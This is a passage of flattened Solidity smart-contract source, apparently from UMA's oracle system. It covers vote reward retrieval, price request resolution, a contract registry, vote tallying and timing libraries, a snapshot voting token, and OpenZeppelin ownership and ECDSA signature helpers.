FixedPoint.Unsigned(votingToken.balanceOfAt(voterAddress, round.snapshotId));
// Compute the total amount of reward that will be issued for each of the votes in the round.
FixedPoint.Unsigned memory snapshotTotalSupply =
FixedPoint.Unsigned(votingToken.totalSupplyAt(round.snapshotId));
FixedPoint.Unsigned memory totalRewardPerVote = round.inflationRate.mul(snapshotTotalSupply);
// Keep track of the voter's accumulated token reward.
totalRewardToIssue = FixedPoint.Unsigned(0);
for (uint256 i = 0; i < toRetrieve.length; i++) {
PriceRequest storage priceRequest =
_getPriceRequest(toRetrieve[i].identifier, toRetrieve[i].time, toRetrieve[i].ancillaryData);
VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound];
// Only retrieve rewards for votes resolved in same round
require(priceRequest.lastVotingRound == roundId, "Retrieve for votes same round");
_resolvePriceRequest(priceRequest, voteInstance);
if (voteInstance.voteSubmissions[voterAddress].revealHash == 0) {
continue;
} else if (isExpired) {
// Emit a 0 token retrieval on expired rewards.
emit RewardsRetrieved(
voterAddress,
roundId,
toRetrieve[i].identifier,
toRetrieve[i].time,
toRetrieve[i].ancillaryData,
0
);
} else if (
voteInstance.resultComputation.wasVoteCorrect(voteInstance.voteSubmissions[voterAddress].revealHash)
) {
// The price was successfully resolved during the voter's last voting round, the voter revealed
// and was correct, so they are eligible for a reward.
// Compute the reward and add to the cumulative reward.
FixedPoint.Unsigned memory reward =
snapshotBalance.mul(totalRewardPerVote).div(
voteInstance.resultComputation.getTotalCorrectlyVotedTokens()
);
totalRewardToIssue = totalRewardToIssue.add(reward);
// Emit reward retrieval for this vote.
emit RewardsRetrieved(
voterAddress,
roundId,
toRetrieve[i].identifier,
toRetrieve[i].time,
toRetrieve[i].ancillaryData,
reward.rawValue
);
} else {
// Emit a 0 token retrieval on incorrect votes.
emit RewardsRetrieved(
voterAddress,
roundId,
toRetrieve[i].identifier,
toRetrieve[i].time,
toRetrieve[i].ancillaryData,
0
);
}
// Delete the submission to capture any refund and clean up storage.
delete voteInstance.voteSubmissions[voterAddress].revealHash;
}
// Issue any accumulated rewards.
if (totalRewardToIssue.isGreaterThan(0)) {
require(votingToken.mint(voterAddress, totalRewardToIssue.rawValue), "Voting token issuance failed");
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequest[] memory toRetrieve
) public override returns (FixedPoint.Unsigned memory) {
PendingRequestAncillary[] memory toRetrieveAncillary = new PendingRequestAncillary[](toRetrieve.length);
for (uint256 i = 0; i < toRetrieve.length; i++) {
toRetrieveAncillary[i].identifier = toRetrieve[i].identifier;
toRetrieveAncillary[i].time = toRetrieve[i].time;
toRetrieveAncillary[i].ancillaryData = "";
}
return retrieveRewards(voterAddress, roundId, toRetrieveAncillary);
}
/****************************************
* VOTING GETTER FUNCTIONS *
****************************************/
/**
* @notice Gets the queries that are being voted on this round.
* @return pendingRequests array containing identifiers of type `PendingRequest`.
* and timestamps for all pending requests.
*/
function getPendingRequests()
external
view
override(VotingInterface, VotingAncillaryInterface)
returns (PendingRequestAncillary[] memory)
{
uint256 blockTime = getCurrentTime();
uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime);
// Solidity memory arrays aren't resizable (and reading storage is expensive). Hence this hackery to filter
// `pendingPriceRequests` only to those requests that have an Active RequestStatus.
PendingRequestAncillary[] memory unresolved = new PendingRequestAncillary[](pendingPriceRequests.length);
uint256 numUnresolved = 0;
for (uint256 i = 0; i < pendingPriceRequests.length; i++) {
PriceRequest storage priceRequest = priceRequests[pendingPriceRequests[i]];
if (_getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active) {
unresolved[numUnresolved] = PendingRequestAncillary({
identifier: priceRequest.identifier,
time: priceRequest.time,
ancillaryData: priceRequest.ancillaryData
});
numUnresolved++;
}
}
PendingRequestAncillary[] memory pendingRequests = new PendingRequestAncillary[](numUnresolved);
for (uint256 i = 0; i < numUnresolved; i++) {
pendingRequests[i] = unresolved[i];
}
return pendingRequests;
}
/**
* @notice Returns the current voting phase, as a function of the current time.
* @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }.
*/
function getVotePhase() external view override(VotingInterface, VotingAncillaryInterface) returns (Phase) {
return voteTiming.computeCurrentPhase(getCurrentTime());
}
/**
* @notice Returns the current round ID, as a function of the current time.
* @return uint256 representing the unique round ID.
*/
function getCurrentRoundId() external view override(VotingInterface, VotingAncillaryInterface) returns (uint256) {
return voteTiming.computeCurrentRoundId(getCurrentTime());
}
/****************************************
* OWNER ADMIN FUNCTIONS *
****************************************/
/**
* @notice Disables this Voting contract in favor of the migrated one.
* @dev Can only be called by the contract owner.
* @param newVotingAddress the newly migrated contract address.
*/
function setMigrated(address newVotingAddress)
external
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
migratedAddress = newVotingAddress;
}
/**
* @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newInflationRate sets the next round's inflation rate.
*/
function setInflationRate(FixedPoint.Unsigned memory newInflationRate)
public
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
inflationRate = newInflationRate;
}
/**
* @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newGatPercentage sets the next round's Gat percentage.
*/
function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage)
public
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
require(newGatPercentage.isLessThan(1), "GAT percentage must be < 100%");
gatPercentage = newGatPercentage;
}
/**
* @notice Resets the rewards expiration timeout.
* @dev This change only applies to rounds that have not yet begun.
* @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards.
*/
function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout)
public
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
rewardsExpirationTimeout = NewRewardsExpirationTimeout;
}
/****************************************
* PRIVATE AND INTERNAL FUNCTIONS *
****************************************/
// Returns the price for a given identifer. Three params are returns: bool if there was an error, int to represent
// the resolved price and a string which is filled with an error message, if there was an error or "".
function _getPriceOrError(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
)
private
view
returns (
bool,
int256,
string memory
)
{
PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData);
uint256 currentRoundId = voteTiming.computeCurrentRoundId(getCurrentTime());
RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId);
if (requestStatus == RequestStatus.Active) {
return (false, 0, "Current voting round not ended");
} else if (requestStatus == RequestStatus.Resolved) {
VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound];
(, int256 resolvedPrice) =
voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound));
return (true, resolvedPrice, "");
} else if (requestStatus == RequestStatus.Future) {
return (false, 0, "Price is still to be voted on");
} else {
return (false, 0, "Price was never requested");
}
}
function _getPriceRequest(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) private view returns (PriceRequest storage) {
return priceRequests[_encodePriceRequest(identifier, time, ancillaryData)];
}
function _encodePriceRequest(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) private pure returns (bytes32) {
return keccak256(abi.encode(identifier, time, ancillaryData));
}
function _freezeRoundVariables(uint256 roundId) private {
Round storage round = rounds[roundId];
// Only on the first reveal should the snapshot be captured for that round.
if (round.snapshotId == 0) {
// There is no snapshot ID set, so create one.
round.snapshotId = votingToken.snapshot();
// Set the round inflation rate to the current global inflation rate.
rounds[roundId].inflationRate = inflationRate;
// Set the round gat percentage to the current global gat rate.
rounds[roundId].gatPercentage = gatPercentage;
// Set the rewards expiration time based on end of time of this round and the current global timeout.
rounds[roundId].rewardsExpirationTime = voteTiming.computeRoundEndTime(roundId).add(
rewardsExpirationTimeout
);
}
}
function _resolvePriceRequest(PriceRequest storage priceRequest, VoteInstance storage voteInstance) private {
if (priceRequest.index == UINT_MAX) {
return;
}
(bool isResolved, int256 resolvedPrice) =
voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound));
require(isResolved, "Can't resolve unresolved request");
// Delete the resolved price request from pendingPriceRequests.
uint256 lastIndex = pendingPriceRequests.length - 1;
PriceRequest storage lastPriceRequest = priceRequests[pendingPriceRequests[lastIndex]];
lastPriceRequest.index = priceRequest.index;
pendingPriceRequests[priceRequest.index] = pendingPriceRequests[lastIndex];
pendingPriceRequests.pop();
priceRequest.index = UINT_MAX;
emit PriceResolved(
priceRequest.lastVotingRound,
priceRequest.identifier,
priceRequest.time,
resolvedPrice,
priceRequest.ancillaryData
);
}
function _computeGat(uint256 roundId) private view returns (FixedPoint.Unsigned memory) {
uint256 snapshotId = rounds[roundId].snapshotId;
if (snapshotId == 0) {
// No snapshot - return max value to err on the side of caution.
return FixedPoint.Unsigned(UINT_MAX);
}
// Grab the snapshotted supply from the voting token. It's already scaled by 10**18, so we can directly
// initialize the Unsigned value with the returned uint.
FixedPoint.Unsigned memory snapshottedSupply = FixedPoint.Unsigned(votingToken.totalSupplyAt(snapshotId));
// Multiply the total supply at the snapshot by the gatPercentage to get the GAT in number of tokens.
return snapshottedSupply.mul(rounds[roundId].gatPercentage);
}
function _getRequestStatus(PriceRequest storage priceRequest, uint256 currentRoundId)
private
view
returns (RequestStatus)
{
if (priceRequest.lastVotingRound == 0) {
return RequestStatus.NotRequested;
} else if (priceRequest.lastVotingRound < currentRoundId) {
VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound];
(bool isResolved, ) =
voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound));
return isResolved ? RequestStatus.Resolved : RequestStatus.Active;
} else if (priceRequest.lastVotingRound == currentRoundId) {
return RequestStatus.Active;
} else {
// Means than priceRequest.lastVotingRound > currentRoundId
return RequestStatus.Future;
}
}
function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Provides addresses of the live contracts implementing certain interfaces.
* @dev Examples are the Oracle or Store interfaces.
*/
interface FinderInterface {
/**
* @notice Updates the address of the contract that implements `interfaceName`.
* @param interfaceName bytes32 encoding of the interface name that is either changed or registered.
* @param implementationAddress address of the deployed contract that implements the interface.
*/
function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external;
/**
* @notice Gets the address of the contract that implements the given `interfaceName`.
* @param interfaceName queried interface.
* @return implementationAddress address of the deployed contract that implements the interface.
*/
function getImplementationAddress(bytes32 interfaceName) external view returns (address);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract OracleAncillaryInterface {
/**
* @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param time unix timestamp for the price request.
*/
function requestPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public virtual;
/**
* @notice Whether the price for `identifier` and `time` is available.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return bool if the DVM has resolved to a price for the given identifier and timestamp.
*/
function hasPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view virtual returns (bool);
/**
* @notice Gets the price for `identifier` and `time` if it has already been requested and resolved.
* @dev If the price is not available, the method reverts.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return int256 representing the resolved price for the given identifier and timestamp.
*/
function getPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view virtual returns (int256);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/**
* @title Interface for whitelists of supported identifiers that the oracle can provide prices for.
*/
interface IdentifierWhitelistInterface {
/**
* @notice Adds the provided identifier as a supported identifier.
* @dev Price requests using this identifier will succeed after this call.
* @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD.
*/
function addSupportedIdentifier(bytes32 identifier) external;
/**
* @notice Removes the identifier from the whitelist.
* @dev Price requests using this identifier will no longer succeed after this call.
* @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD.
*/
function removeSupportedIdentifier(bytes32 identifier) external;
/**
* @notice Checks whether an identifier is on the whitelist.
* @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD.
* @return bool if the identifier is supported (or not).
*/
function isIdentifierSupported(bytes32 identifier) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/MultiRole.sol";
import "../interfaces/RegistryInterface.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
* @title Registry for financial contracts and approved financial contract creators.
* @dev Maintains a whitelist of financial contract creators that are allowed
* to register new financial contracts and stores party members of a financial contract.
*/
contract Registry is RegistryInterface, MultiRole {
using SafeMath for uint256;
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles {
Owner, // The owner manages the set of ContractCreators.
ContractCreator // Can register financial contracts.
}
// This enum is required because a `WasValid` state is required
// to ensure that financial contracts cannot be re-registered.
enum Validity { Invalid, Valid }
// Local information about a contract.
struct FinancialContract {
Validity valid;
uint128 index;
}
struct Party {
address[] contracts; // Each financial contract address is stored in this array.
// The address of each financial contract is mapped to its index for constant time look up and deletion.
mapping(address => uint256) contractIndex;
}
// Array of all contracts that are approved to use the UMA Oracle.
address[] public registeredContracts;
// Map of financial contract contracts to the associated FinancialContract struct.
mapping(address => FinancialContract) public contractMap;
// Map each party member to their their associated Party struct.
mapping(address => Party) private partyMap;
/****************************************
* EVENTS *
****************************************/
event NewContractRegistered(address indexed contractAddress, address indexed creator, address[] parties);
event PartyAdded(address indexed contractAddress, address indexed party);
event PartyRemoved(address indexed contractAddress, address indexed party);
/**
* @notice Construct the Registry contract.
*/
constructor() public {
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
// Start with no contract creators registered.
_createSharedRole(uint256(Roles.ContractCreator), uint256(Roles.Owner), new address[](0));
}
/****************************************
* REGISTRATION FUNCTIONS *
****************************************/
/**
* @notice Registers a new financial contract.
* @dev Only authorized contract creators can call this method.
* @param parties array of addresses who become parties in the contract.
* @param contractAddress address of the contract against which the parties are registered.
*/
function registerContract(address[] calldata parties, address contractAddress)
external
override
onlyRoleHolder(uint256(Roles.ContractCreator))
{
FinancialContract storage financialContract = contractMap[contractAddress];
require(contractMap[contractAddress].valid == Validity.Invalid, "Can only register once");
// Store contract address as a registered contract.
registeredContracts.push(contractAddress);
// No length check necessary because we should never hit (2^127 - 1) contracts.
financialContract.index = uint128(registeredContracts.length.sub(1));
// For all parties in the array add them to the contract's parties.
financialContract.valid = Validity.Valid;
for (uint256 i = 0; i < parties.length; i = i.add(1)) {
_addPartyToContract(parties[i], contractAddress);
}
emit NewContractRegistered(contractAddress, msg.sender, parties);
}
/**
* @notice Adds a party member to the calling contract.
* @dev msg.sender will be used to determine the contract that this party is added to.
* @param party new party for the calling contract.
*/
function addPartyToContract(address party) external override {
address contractAddress = msg.sender;
require(contractMap[contractAddress].valid == Validity.Valid, "Can only add to valid contract");
_addPartyToContract(party, contractAddress);
}
/**
* @notice Removes a party member from the calling contract.
* @dev msg.sender will be used to determine the contract that this party is removed from.
* @param partyAddress address to be removed from the calling contract.
*/
function removePartyFromContract(address partyAddress) external override {
address contractAddress = msg.sender;
Party storage party = partyMap[partyAddress];
uint256 numberOfContracts = party.contracts.length;
require(numberOfContracts != 0, "Party has no contracts");
require(contractMap[contractAddress].valid == Validity.Valid, "Remove only from valid contract");
require(isPartyMemberOfContract(partyAddress, contractAddress), "Can only remove existing party");
// Index of the current location of the contract to remove.
uint256 deleteIndex = party.contractIndex[contractAddress];
// Store the last contract's address to update the lookup map.
address lastContractAddress = party.contracts[numberOfContracts - 1];
// Swap the contract to be removed with the last contract.
party.contracts[deleteIndex] = lastContractAddress;
// Update the lookup index with the new location.
party.contractIndex[lastContractAddress] = deleteIndex;
// Pop the last contract from the array and update the lookup map.
party.contracts.pop();
delete party.contractIndex[contractAddress];
emit PartyRemoved(contractAddress, partyAddress);
}
/****************************************
* REGISTRY STATE GETTERS *
****************************************/
/**
* @notice Returns whether the contract has been registered with the registry.
* @dev If it is registered, it is an authorized participant in the UMA system.
* @param contractAddress address of the financial contract.
* @return bool indicates whether the contract is registered.
*/
function isContractRegistered(address contractAddress) external view override returns (bool) {
return contractMap[contractAddress].valid == Validity.Valid;
}
/**
* @notice Returns a list of all contracts that are associated with a particular party.
* @param party address of the party.
* @return an array of the contracts the party is registered to.
*/
function getRegisteredContracts(address party) external view override returns (address[] memory) {
return partyMap[party].contracts;
}
/**
* @notice Returns all registered contracts.
* @return all registered contract addresses within the system.
*/
function getAllRegisteredContracts() external view override returns (address[] memory) {
return registeredContracts;
}
/**
* @notice checks if an address is a party of a contract.
* @param party party to check.
* @param contractAddress address to check against the party.
* @return bool indicating if the address is a party of the contract.
*/
function isPartyMemberOfContract(address party, address contractAddress) public view override returns (bool) {
uint256 index = partyMap[party].contractIndex[contractAddress];
return partyMap[party].contracts.length > index && partyMap[party].contracts[index] == contractAddress;
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
function _addPartyToContract(address party, address contractAddress) internal {
require(!isPartyMemberOfContract(party, contractAddress), "Can only register a party once");
uint256 contractIndex = partyMap[party].contracts.length;
partyMap[party].contracts.push(contractAddress);
partyMap[party].contractIndex[contractAddress] = contractIndex;
emit PartyAdded(contractAddress, party);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../../common/implementation/FixedPoint.sol";
/**
* @title Computes vote results.
* @dev The result is the mode of the added votes. Otherwise, the vote is unresolved.
*/
library ResultComputation {
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* INTERNAL LIBRARY DATA STRUCTURE *
****************************************/
struct Data {
// Maps price to number of tokens that voted for that price.
mapping(int256 => FixedPoint.Unsigned) voteFrequency;
// The total votes that have been added.
FixedPoint.Unsigned totalVotes;
// The price that is the current mode, i.e., the price with the highest frequency in `voteFrequency`.
int256 currentMode;
}
/****************************************
* VOTING FUNCTIONS *
****************************************/
/**
* @notice Adds a new vote to be used when computing the result.
* @param data contains information to which the vote is applied.
* @param votePrice value specified in the vote for the given `numberTokens`.
* @param numberTokens number of tokens that voted on the `votePrice`.
*/
function addVote(
Data storage data,
int256 votePrice,
FixedPoint.Unsigned memory numberTokens
) internal {
data.totalVotes = data.totalVotes.add(numberTokens);
data.voteFrequency[votePrice] = data.voteFrequency[votePrice].add(numberTokens);
if (
votePrice != data.currentMode &&
data.voteFrequency[votePrice].isGreaterThan(data.voteFrequency[data.currentMode])
) {
data.currentMode = votePrice;
}
}
/****************************************
* VOTING STATE GETTERS *
****************************************/
/**
* @notice Returns whether the result is resolved, and if so, what value it resolved to.
* @dev `price` should be ignored if `isResolved` is false.
* @param data contains information against which the `minVoteThreshold` is applied.
* @param minVoteThreshold min (exclusive) number of tokens that must have voted for the result to be valid. Can be
* used to enforce a minimum voter participation rate, regardless of how the votes are distributed.
* @return isResolved indicates if the price has been resolved correctly.
* @return price the price that the dvm resolved to.
*/
function getResolvedPrice(Data storage data, FixedPoint.Unsigned memory minVoteThreshold)
internal
view
returns (bool isResolved, int256 price)
{
FixedPoint.Unsigned memory modeThreshold = FixedPoint.fromUnscaledUint(50).div(100);
if (
data.totalVotes.isGreaterThan(minVoteThreshold) &&
data.voteFrequency[data.currentMode].div(data.totalVotes).isGreaterThan(modeThreshold)
) {
// `modeThreshold` and `minVoteThreshold` are exceeded, so the current mode is the resolved price.
isResolved = true;
price = data.currentMode;
} else {
isResolved = false;
}
}
/**
* @notice Checks whether a `voteHash` is considered correct.
* @dev Should only be called after a vote is resolved, i.e., via `getResolvedPrice`.
* @param data contains information against which the `voteHash` is checked.
* @param voteHash committed hash submitted by the voter.
* @return bool true if the vote was correct.
*/
function wasVoteCorrect(Data storage data, bytes32 voteHash) internal view returns (bool) {
return voteHash == keccak256(abi.encode(data.currentMode));
}
/**
* @notice Gets the total number of tokens whose votes are considered correct.
* @dev Should only be called after a vote is resolved, i.e., via `getResolvedPrice`.
* @param data contains all votes against which the correctly voted tokens are counted.
* @return FixedPoint.Unsigned which indicates the frequency of the correctly voted tokens.
*/
function getTotalCorrectlyVotedTokens(Data storage data) internal view returns (FixedPoint.Unsigned memory) {
return data.voteFrequency[data.currentMode];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../interfaces/VotingInterface.sol";
/**
* @title Library to compute rounds and phases for an equal length commit-reveal voting cycle.
*/
library VoteTiming {
using SafeMath for uint256;
struct Data {
uint256 phaseLength;
}
/**
* @notice Initializes the data object. Sets the phase length based on the input.
*/
function init(Data storage data, uint256 phaseLength) internal {
// This should have a require message but this results in an internal Solidity error.
require(phaseLength > 0);
data.phaseLength = phaseLength;
}
/**
* @notice Computes the roundID based off the current time as floor(timestamp/roundLength).
* @dev The round ID depends on the global timestamp but not on the lifetime of the system.
* The consequence is that the initial round ID starts at an arbitrary number (that increments, as expected, for subsequent rounds) instead of zero or one.
* @param data input data object.
* @param currentTime input unix timestamp used to compute the current roundId.
* @return roundId defined as a function of the currentTime and `phaseLength` from `data`.
*/
function computeCurrentRoundId(Data storage data, uint256 currentTime) internal view returns (uint256) {
uint256 roundLength = data.phaseLength.mul(uint256(VotingAncillaryInterface.Phase.NUM_PHASES_PLACEHOLDER));
return currentTime.div(roundLength);
}
/**
* @notice compute the round end time as a function of the round Id.
* @param data input data object.
* @param roundId uniquely identifies the current round.
* @return timestamp unix time of when the current round will end.
*/
function computeRoundEndTime(Data storage data, uint256 roundId) internal view returns (uint256) {
uint256 roundLength = data.phaseLength.mul(uint256(VotingAncillaryInterface.Phase.NUM_PHASES_PLACEHOLDER));
return roundLength.mul(roundId.add(1));
}
/**
* @notice Computes the current phase based only on the current time.
* @param data input data object.
* @param currentTime input unix timestamp used to compute the current roundId.
* @return current voting phase based on current time and vote phases configuration.
*/
function computeCurrentPhase(Data storage data, uint256 currentTime)
internal
view
returns (VotingAncillaryInterface.Phase)
{
// This employs some hacky casting. We could make this an if-statement if we're worried about type safety.
return
VotingAncillaryInterface.Phase(
currentTime.div(data.phaseLength).mod(uint256(VotingAncillaryInterface.Phase.NUM_PHASES_PLACEHOLDER))
);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../../common/implementation/ExpandedERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Snapshot.sol";
/**
* @title Ownership of this token allows a voter to respond to price requests.
* @dev Supports snapshotting and allows the Oracle to mint new tokens as rewards.
*/
contract VotingToken is ExpandedERC20, ERC20Snapshot {
/**
* @notice Constructs the VotingToken.
*/
constructor() public ExpandedERC20("UMA Voting Token v1", "UMA", 18) {}
/**
* @notice Creates a new snapshot ID.
* @return uint256 Thew new snapshot ID.
*/
function snapshot() external returns (uint256) {
return _snapshot();
}
// _transfer, _mint and _burn are ERC20 internal methods that are overridden by ERC20Snapshot,
// therefore the compiler will complain that VotingToken must override these methods
// because the two base classes (ERC20 and ERC20Snapshot) both define the same functions
function _transfer(
address from,
address to,
uint256 value
) internal override(ERC20, ERC20Snapshot) {
super._transfer(from, to, value);
}
function _mint(address account, uint256 value) internal override(ERC20, ERC20Snapshot) {
super._mint(account, value);
}
function _burn(address account, uint256 value) internal override(ERC20, ERC20Snapshot) {
super._burn(account, value);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Stores common interface names used throughout the DVM by registration in the Finder.
*/
library OracleInterfaces {
bytes32 public constant Oracle = "Oracle";
bytes32 public constant IdentifierWhitelist = "IdentifierWhitelist";
bytes32 public constant Store = "Store";
bytes32 public constant FinancialContractsAdmin = "FinancialContractsAdmin";
bytes32 public constant Registry = "Registry";
bytes32 public constant CollateralWhitelist = "CollateralWhitelist";
bytes32 public constant OptimisticOracle = "OptimisticOracle";
}
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.6.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECDSA: invalid signature 's' value");
}
if (v != 27 && v != 28) {
revert("ECDSA: invalid signature 'v' value");
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
library Exclusive {
struct RoleMembership {
address member;
}
function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) {
return roleMembership.member == memberToCheck;
}
function resetMember(RoleMembership storage roleMembership, address newMember) internal {
require(newMember != address(0x0), "Cannot set an exclusive role to 0x0");
roleMembership.member = newMember;
}
function getMember(RoleMembership storage roleMembership) internal view returns (address) {
return roleMembership.member;
}
function init(RoleMembership storage roleMembership, address initialMember) internal {
resetMember(roleMembership, initialMember);
}
}
library Shared {
struct RoleMembership {
mapping(address => bool) members;
}
function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) {
return roleMembership.members[memberToCheck];
}
function addMember(RoleMembership storage roleMembership, address memberToAdd) internal {
